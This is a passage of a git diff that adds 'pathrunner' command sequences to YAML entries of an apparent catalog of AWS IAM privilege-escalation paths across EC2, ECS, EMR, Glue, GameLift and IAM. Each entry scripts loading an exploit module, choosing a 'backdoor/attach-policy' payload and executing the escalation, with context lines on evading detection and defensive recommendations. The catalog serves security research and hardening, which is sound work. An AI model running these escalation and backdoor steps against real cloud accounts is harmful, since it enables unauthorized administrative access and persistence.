backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set INSTANCE_ID i-0123456789abcdef0 + description: Set the INSTANCE_ID option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | The combination of `ec2:ModifyInstanceAttribute`, `ec2:StopInstances`, and `ec2:StartInstances` is highly sensitive. IAM policies should avoid granting these permissions together, especially with wildcard resources. If necessary, use the Resource element in IAM policies to strictly limit these actions to a specific, intended set of instances. Monitor CloudTrail logs for this sequence of API calls. limitations: | diff --git a/data/paths/aws/ec2/ec2-003.yaml b/data/paths/aws/ec2/ec2-003.yaml index 0a719f95..28af1466 100644 --- a/data/paths/aws/ec2/ec2-003.yaml +++ b/data/paths/aws/ec2/ec2-003.yaml @@ -133,6 +133,16 @@ exploitationSteps: ' description: Verify that you now have administrator access by listing IAM users or performing other admin-level actions. + pathrunner: + - step: 1 + command: pathrunner use ec2-003 + description: Load the ec2-003 exploit module in Pathrunner. + - step: 2 + command: pathrunner set INSTANCE_ID i-0123456789abcdef0 + description: Set the INSTANCE_ID option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: 'This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or provide access to sensitive data. ' diff --git a/data/paths/aws/ec2/ec2-004.yaml b/data/paths/aws/ec2/ec2-004.yaml index 6ad71d6c..f205d15f 100644 --- a/data/paths/aws/ec2/ec2-004.yaml +++ b/data/paths/aws/ec2/ec2-004.yaml @@ -120,6 +120,25 @@ exploitationSteps: # Verify administrator access aws iam list-users description: "Verify that you now have administrator access by listing IAM users or performing other admin-level actions." + pathrunner: + - step: 1 + command: pathrunner use ec2-004 + description: Load the ec2-004 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set INSTANCE_PROFILE arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile + description: Set the INSTANCE_PROFILE option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: | This path provides administrative access only if the target launch template already references a role with administrative permissions. If the existing template only references roles with limited permissions, the attacker gains access limited to those permissions. diff --git a/data/paths/aws/ec2/ec2-005.yaml b/data/paths/aws/ec2/ec2-005.yaml index fabdb73f..63ce6acb 100644 --- a/data/paths/aws/ec2/ec2-005.yaml +++ b/data/paths/aws/ec2/ec2-005.yaml @@ -77,6 +77,31 @@ exploitationSteps: aws iam list-attached-user-policies \ --user-name STARTING_USER description: Wait for an instance to launch (via Auto Scaling Group scale-out, EC2 Fleet, or manual RunInstances), then verify AdministratorAccess has been attached to the starting user. + pathrunner: + - step: 1 + command: pathrunner use ec2-005 + description: Load the ec2-005 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set LAUNCH_TEMPLATE_NAME target-launch-template + description: Set the LAUNCH_TEMPLATE_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set ASG_NAME target-auto-scaling-group + description: Set the ASG_NAME option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set INSTANCE_PROFILE arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile + description: Set the INSTANCE_PROFILE option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 8 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | - **Audit launch templates for privileged instance profiles** - Any launch template with an admin or high-privilege instance profile is a persistent escalation vector for any principal with `ec2:CreateLaunchTemplateVersion`. Regularly review and down-scope instance profiles referenced in launch templates. diff --git a/data/paths/aws/ecs/ecs-001.yaml b/data/paths/aws/ecs/ecs-001.yaml index f63109a9..28c0dee7 100644 --- a/data/paths/aws/ecs/ecs-001.yaml +++ b/data/paths/aws/ecs/ecs-001.yaml @@ -104,6 +104,25 @@ exploitationSteps: aws sts get-caller-identity aws iam list-attached-user-policies --user-name STARTING_USERNAME description: Verify that the privilege escalation succeeded by checking if AdministratorAccess policy was attached to the starting user + pathrunner: + - step: 1 + command: pathrunner use ecs-001 + description: Load the ecs-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: | This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data. diff --git a/data/paths/aws/ecs/ecs-002.yaml b/data/paths/aws/ecs/ecs-002.yaml index e6119925..104b3b8b 100644 --- a/data/paths/aws/ecs/ecs-002.yaml +++ b/data/paths/aws/ecs/ecs-002.yaml @@ -85,6 +85,25 @@ exploitationSteps: - step: 7 command: aws sts get-caller-identity description: Verify that the escalation succeeded by checking current permissions (e.g., test administrative access) + pathrunner: + - step: 1 + command: pathrunner use ecs-002 + description: Load the ecs-002 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: | This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks. diff --git a/data/paths/aws/ecs/ecs-003.yaml b/data/paths/aws/ecs/ecs-003.yaml index a6307074..e71f3d9b 100644 --- a/data/paths/aws/ecs/ecs-003.yaml +++ b/data/paths/aws/ecs/ecs-003.yaml @@ -69,6 +69,28 @@ exploitationSteps: - step: 7 command: aws sts get-caller-identity description: Verify that your permissions have been escalated (if the task modified your principal) + pathrunner: + - step: 1 + command: pathrunner use ecs-003 + description: Load the ecs-003 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set CLUSTER_ARN arn:aws:ecs::123456789012:cluster/target-ecs-cluster + description: Set the CLUSTER_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/ecs/ecs-004.yaml b/data/paths/aws/ecs/ecs-004.yaml index de18b3ac..7681735e 100644 --- a/data/paths/aws/ecs/ecs-004.yaml +++ b/data/paths/aws/ecs/ecs-004.yaml @@ -57,6 +57,25 @@ exploitationSteps: - step: 7 command: aws sts get-caller-identity description: Verify that your privileges have been escalated by the task execution + pathrunner: + - step: 1 + command: pathrunner use ecs-004 + description: Load the ecs-004 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/ecs/ecs-005.yaml b/data/paths/aws/ecs/ecs-005.yaml index a67be2df..65edf8bb 100644 --- a/data/paths/aws/ecs/ecs-005.yaml +++ b/data/paths/aws/ecs/ecs-005.yaml @@ -51,6 +51,31 @@ exploitationSteps: - step: 7 command: aws iam list-users --max-items 3 description: Verify administrative access was successfully obtained (wait 15-30 seconds for IAM propagation) + pathrunner: + - step: 1 + command: pathrunner use ecs-005 + description: Load the ecs-005 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set CLUSTER_NAME target-ecs-cluster + description: Set the CLUSTER_NAME option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set CONTAINER_INSTANCE_ARN arn:aws:ecs::123456789012:container-instance/target-ecs-cluster/abc1234567890 + description: Set the CONTAINER_INSTANCE_ARN option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 8 + command: pathrunner exploit + description: Execute the privilege escalation. limitations: | This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks. recommendation: | diff --git a/data/paths/aws/ecs/ecs-006.yaml b/data/paths/aws/ecs/ecs-006.yaml index 3b5307d7..02347753 100644 --- a/data/paths/aws/ecs/ecs-006.yaml +++ b/data/paths/aws/ecs/ecs-006.yaml @@ -66,6 +66,16 @@ exploitationSteps: export AWS_SESSION_TOKEN="" aws sts get-caller-identity description: Use the retrieved credentials outside the container to operate as the task role + pathrunner: + - step: 1 + command: pathrunner use ecs-006 + description: Load the ecs-006 exploit module in Pathrunner. + - step: 2 + command: pathrunner set CLUSTER_NAME target-ecs-cluster + description: Set the CLUSTER_NAME option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/ecs/ecs-007.yaml b/data/paths/aws/ecs/ecs-007.yaml index 215d69db..49b1e55f 100644 --- a/data/paths/aws/ecs/ecs-007.yaml +++ b/data/paths/aws/ecs/ecs-007.yaml @@ -102,6 +102,37 @@ exploitationSteps: - step: 8 command: aws ecs describe-tasks --cluster TARGET_CLUSTER --tasks TASK_ARN description: Monitor task status until it reaches STOPPED state, then verify privilege escalation was successful + pathrunner: + - step: 1 + command: pathrunner use ecs-007 + description: Load the ecs-007 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set CLUSTER_NAME target-ecs-cluster + description: Set the CLUSTER_NAME option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set TASK_DEFINITION target-task-def:1 + description: Set the TASK_DEFINITION option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner set CONTAINER_INSTANCE_ARN arn:aws:ecs::123456789012:container-instance/target-ecs-cluster/abc1234567890 + description: Set the CONTAINER_INSTANCE_ARN option (replace the placeholder with your target's real value). + - step: 8 + command: pathrunner set CONTAINER_NAME target-container + description: Set the CONTAINER_NAME option (replace the placeholder with your target's real value). + - step: 9 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 10 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/ecs/ecs-008.yaml b/data/paths/aws/ecs/ecs-008.yaml index f8aff909..ae2b3290 100644 --- a/data/paths/aws/ecs/ecs-008.yaml +++ b/data/paths/aws/ecs/ecs-008.yaml @@ -80,6 +80,31 @@ exploitationSteps: - step: 6 command: aws ecs describe-tasks --cluster CLUSTER_NAME --tasks TASK_ARN description: Monitor task status until it reaches STOPPED state, then verify privilege escalation was successful + pathrunner: + - step: 1 + command: pathrunner use ecs-008 + description: Load the ecs-008 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set CLUSTER_NAME target-ecs-cluster + description: Set the CLUSTER_NAME option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set TASK_DEFINITION target-task-def:1 + description: Set the TASK_DEFINITION option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 8 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/ecs/ecs-009.yaml b/data/paths/aws/ecs/ecs-009.yaml index 9ea7b7c0..d83f6d4e 100644 --- a/data/paths/aws/ecs/ecs-009.yaml +++ b/data/paths/aws/ecs/ecs-009.yaml @@ -78,6 +78,34 @@ exploitationSteps: - step: 6 command: aws ecs describe-tasks --cluster CLUSTER_NAME --tasks TASK_ARN description: Monitor task status until it reaches STOPPED state, then verify privilege escalation was successful + pathrunner: + - step: 1 + command: pathrunner use ecs-009 + description: Load the ecs-009 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set CLUSTER_NAME target-ecs-cluster + description: Set the CLUSTER_NAME option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set CONTAINER_INSTANCE_ARN arn:aws:ecs::123456789012:container-instance/target-ecs-cluster/abc1234567890 + description: Set the CONTAINER_INSTANCE_ARN option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner set TASK_DEFINITION target-task-def:1 + description: Set the TASK_DEFINITION option (replace the placeholder with your target's real value). + - step: 8 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 9 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/emr/emr-001.yaml b/data/paths/aws/emr/emr-001.yaml index 6beb385a..1eb2222c 100644 --- a/data/paths/aws/emr/emr-001.yaml +++ b/data/paths/aws/emr/emr-001.yaml @@ -73,6 +73,28 @@ exploitationSteps: --query 'Cluster.Status.StateChangeReason' \ --output json description: If the cluster fails, check StateChangeReason for diagnostic information about what prevented the step from executing. + pathrunner: + - step: 1 + command: pathrunner use emr-001 + description: Load the emr-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set INSTANCE_PROFILE arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile + description: Set the INSTANCE_PROFILE option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set SERVICE_ROLE arn:aws:iam::123456789012:role/TargetServiceRole + description: Set the SERVICE_ROLE option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/emrserverless/emrserverless-001.yaml b/data/paths/aws/emrserverless/emrserverless-001.yaml index c5642ea9..34b89275 100644 --- a/data/paths/aws/emrserverless/emrserverless-001.yaml +++ b/data/paths/aws/emrserverless/emrserverless-001.yaml @@ -93,6 +93,16 @@ exploitationSteps: --query 'jobRun.state' \ --output text description: Poll job run status until it reaches SUCCESS, confirming the privilege escalation has completed. + pathrunner: + - step: 1 + command: pathrunner use emrserverless-001 + description: Load the emrserverless-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the EXECUTION_ROLE_ARN option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/gamelift/gamelift-001.yaml b/data/paths/aws/gamelift/gamelift-001.yaml index 957ea49d..0c178058 100644 --- a/data/paths/aws/gamelift/gamelift-001.yaml +++ b/data/paths/aws/gamelift/gamelift-001.yaml @@ -107,6 +107,25 @@ exploitationSteps: }] }' description: Create a GameLift fleet with the admin IAM instance role, using SHARED_CREDENTIAL_FILE to make the role credentials available to the game server process. The server starts automatically and escalates privileges. + pathrunner: + - step: 1 + command: pathrunner use gamelift-001 + description: Load the gamelift-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/glue/glue-001.yaml b/data/paths/aws/glue/glue-001.yaml index 9a3e1354..2cd7b3c2 100644 --- a/data/paths/aws/glue/glue-001.yaml +++ b/data/paths/aws/glue/glue-001.yaml @@ -31,6 +31,16 @@ exploitationSteps: - step: 3 command: ssh glue@ENDPOINT_ADDRESS description: SSH into the dev endpoint and execute code with elevated privileges + pathrunner: + - step: 1 + command: pathrunner use glue-001 + description: Load the glue-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/glue/glue-003.yaml b/data/paths/aws/glue/glue-003.yaml index 28b18a1f..868d3a2e 100644 --- a/data/paths/aws/glue/glue-003.yaml +++ b/data/paths/aws/glue/glue-003.yaml @@ -91,6 +91,25 @@ exploitationSteps: # Verify admin access aws iam list-users description: "After the job completes and IAM changes propagate, verify that you now have administrative permissions by executing a privileged operation." + pathrunner: + - step: 1 + command: pathrunner use glue-003 + description: Load the glue-003 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/glue/glue-004.yaml b/data/paths/aws/glue/glue-004.yaml index f7d40e88..3e15c2c2 100644 --- a/data/paths/aws/glue/glue-004.yaml +++ b/data/paths/aws/glue/glue-004.yaml @@ -105,6 +105,25 @@ exploitationSteps: # Verify admin access aws iam list-users description: "After the job completes and IAM changes propagate, verify that you now have administrative permissions. Note that the trigger will continue to run every minute, re-granting access even if it's removed." + pathrunner: + - step: 1 + command: pathrunner use glue-004 + description: Load the glue-004 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/glue/glue-005.yaml b/data/paths/aws/glue/glue-005.yaml index ca276eef..01e92607 100644 --- a/data/paths/aws/glue/glue-005.yaml +++ b/data/paths/aws/glue/glue-005.yaml @@ -115,6 +115,28 @@ exploitationSteps: --job-name existing-job-name \ --job-update "Role=arn:aws:iam::ACCOUNT_ID:role/ORIGINAL_ROLE,Command={Name=pythonshell,ScriptLocation=s3://original-bucket/original_script.py,PythonVersion=3.9}" description: "Optionally restore the job to its original configuration to reduce the likelihood of detection. Use the values you documented in step 2." + pathrunner: + - step: 1 + command: pathrunner use glue-005 + description: Load the glue-005 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set JOB_NAME target-glue-job + description: Set the JOB_NAME option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/glue/glue-006.yaml b/data/paths/aws/glue/glue-006.yaml index 5dfe29e7..2c421fed 100644 --- a/data/paths/aws/glue/glue-006.yaml +++ b/data/paths/aws/glue/glue-006.yaml @@ -115,6 +115,28 @@ exploitationSteps: ' description: After the job completes and IAM changes propagate, verify that you now have administrative permissions. Note that the trigger will continue to run every minute, re-granting access even if it's removed, establishing persistent administrative access. + pathrunner: + - step: 1 + command: pathrunner use glue-006 + description: Load the glue-006 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set JOB_NAME target-glue-job + description: Set the JOB_NAME option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 7 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/glue/glue-007.yaml b/data/paths/aws/glue/glue-007.yaml index c146ceaa..27f4ddf5 100644 --- a/data/paths/aws/glue/glue-007.yaml +++ b/data/paths/aws/glue/glue-007.yaml @@ -78,6 +78,25 @@ exploitationSteps: aws iam list-attached-user-policies \ --user-name STARTING_USER description: Verify that AdministratorAccess is now attached to the starting user, confirming privilege escalation success. + pathrunner: + - step: 1 + command: pathrunner use glue-007 + description: Load the glue-007 exploit module in Pathrunner. + - step: 2 + command: pathrunner show payloads + description: List the payloads compatible with this module. + - step: 3 + command: pathrunner set PAYLOAD backdoor/attach-policy + description: Select the backdoor/attach-policy payload. + - step: 4 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/iam/iam-001.yaml b/data/paths/aws/iam/iam-001.yaml index d0c6ef1f..6937c4b6 100644 --- a/data/paths/aws/iam/iam-001.yaml +++ b/data/paths/aws/iam/iam-001.yaml @@ -21,6 +21,16 @@ exploitationSteps: --set-as-default description: Create a new policy version with administrative permissions and set it as default + pathrunner: + - step: 1 + command: pathrunner use iam-001 + description: Load the iam-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner set POLICY_ARN arn:aws:iam::123456789012:policy/TargetPolicy + description: Set the POLICY_ARN option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `iam:CreatePolicyVersion` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.' limitations: 'This path provides administrative access when the attacker creates a policy version with administrative permissions. The attacker can specify any permissions in the new policy version. However, even limited additional permissions may enable multi-hop attacks.' discoveryAttribution: diff --git a/data/paths/aws/iam/iam-002.yaml b/data/paths/aws/iam/iam-002.yaml index ce7756ef..f8cca778 100644 --- a/data/paths/aws/iam/iam-002.yaml +++ b/data/paths/aws/iam/iam-002.yaml @@ -30,6 +30,16 @@ exploitationSteps: - step: 2 command: run iam__backdoor_users_keys --usernames [TARGET_USER] description: Create access key for target user + pathrunner: + - step: 1 + command: pathrunner use iam-002 + description: Load the iam-002 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_USER target-iam-user + description: Set the TARGET_USER option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to `iam:CreateAccessKey` using the principle of least privilege. Only allow users to create access keys for themselves or users they are authorized to manage. Very few principals need this permission on anyone other than themselves, so it should be restricted to only the few principals that need it.' limitations: 'This path provides administrative access only if the target user or group has administrative permissions. The attacker gains whatever permissions the target principal has. If the target has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.' discoveryAttribution: diff --git a/data/paths/aws/iam/iam-003.yaml b/data/paths/aws/iam/iam-003.yaml index b3f44642..8d73945b 100644 --- a/data/paths/aws/iam/iam-003.yaml +++ b/data/paths/aws/iam/iam-003.yaml @@ -27,6 +27,16 @@ exploitationSteps: - step: 4 command: aws configure --profile target-user description: Configure AWS CLI with the newly created access key + pathrunner: + - step: 1 + command: pathrunner use iam-003 + description: Load the iam-003 exploit module in Pathrunner. + - step: 2 + command: pathrunner set TARGET_USER target-iam-user + description: Set the TARGET_USER option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: 'Restrict access to both `iam:CreateAccessKey` and `iam:DeleteAccessKey` using the principle of least privilege. The combination of these permissions is particularly dangerous as it bypasses the 2-key limit protection. Monitor for sequences where DeleteAccessKey is immediately followed by CreateAccessKey for the same user.' limitations: 'This path provides administrative access only if the target user or group has administrative permissions. The attacker gains whatever permissions the target principal has. If the target has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.' discoveryAttribution: diff --git 